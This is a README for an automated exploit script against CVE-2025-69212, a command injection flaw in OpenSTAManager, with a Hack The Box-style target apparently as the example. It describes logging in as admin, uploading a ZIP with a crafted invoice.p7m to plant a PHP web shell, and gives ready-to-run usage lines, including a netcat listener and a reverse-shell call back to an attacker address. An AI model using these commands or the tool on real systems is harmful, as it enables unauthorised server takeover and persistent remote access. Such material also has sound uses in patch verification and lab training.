CVE-2025-69212 - OpenSTAManager P7M Command Injection Exploit

A fully automated exploit script for CVE-2025-69212, a command injection vulnerability in OpenSTAManager. This script authenticates with admin credentials, deploys a malicious PHP web shell via a crafted P7M file in a ZIP archive, and provides command execution or a reverse shell.

Features

• Automated authentication.
• Malicious ZIP generation and upload (invoice.p7m injection).
• Base64 command wrapping to prevent special character issues.
• Reverse shell and single-command execution arguments.

Usage

python3 exploit.py -u <TARGET_URL> -U <USERNAME> -P <PASSWORD> -r <LHOST> <LPORT>


Examples:

Execute a single command:

```bash
python3 exploit.py -u http://support_001.enigma.htb -U admin -P 'Password123' -c 'id'

Get a Reverse Shell:

# Start your netcat listener in another terminal:
nc -lvnp 4444

# Run the exploit:
python3 exploit.py -u http://support_001.enigma.htb -U admin -P 'Password123' -r 10.10.14.1 4444